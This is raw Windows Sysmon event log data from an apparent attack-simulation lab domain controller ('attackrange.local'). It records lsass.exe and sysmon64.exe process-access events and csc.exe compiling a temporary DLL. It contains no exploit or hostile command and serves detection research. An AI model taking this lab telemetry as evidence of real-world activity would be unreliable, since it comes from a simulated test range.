09:10:28.975{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003280Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.897{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003279Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.897{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003278Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.897{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003277Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.881{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003276Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.881{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003275Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.881{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003274Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:28.350{A5F018FF-2904-5F80-A300-000000007F01}2748C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\a455ssr3\a455ssr3.dll2020-10-09 09:10:28.225 10341000x80000000000000003273Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-2902-5F80-9B00-000000007F01}43042660C:\Windows\system32\conhost.exe{A5F018FF-2904-5F80-A400-000000007F01}2876C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003272Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003271Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003270Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003269Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003268Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003267Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003266Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003265Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003264Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003263Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2904-5F80-A400-000000007F01}2876C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003262Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.334{A5F018FF-2904-5F80-A300-000000007F01}27482784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-2904-5F80-A400-000000007F01}2876C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003261Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.344{A5F018FF-2904-5F80-A400-000000007F01}2876C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES293D.tmp" "c:\Users\Administrator\AppData\Local\Temp\a455ssr3\CSCA68E19DB442A4F71A7BC87EBC3F87C7C.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2902-5F80-76B0-050000000000}0x5b0760HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-2904-5F80-A300-000000007F01}2748C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\a455ssr3\a455ssr3.cmdline" 10341000x80000000000000003260Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.240{A5F018FF-2902-5F80-9B00-000000007F01}43042660C:\Windows\system32\conhost.exe{A5F018FF-2904-5F80-A300-000000007F01}2748C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003259Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.240{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003258Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.240{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003257Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.240{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003256Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 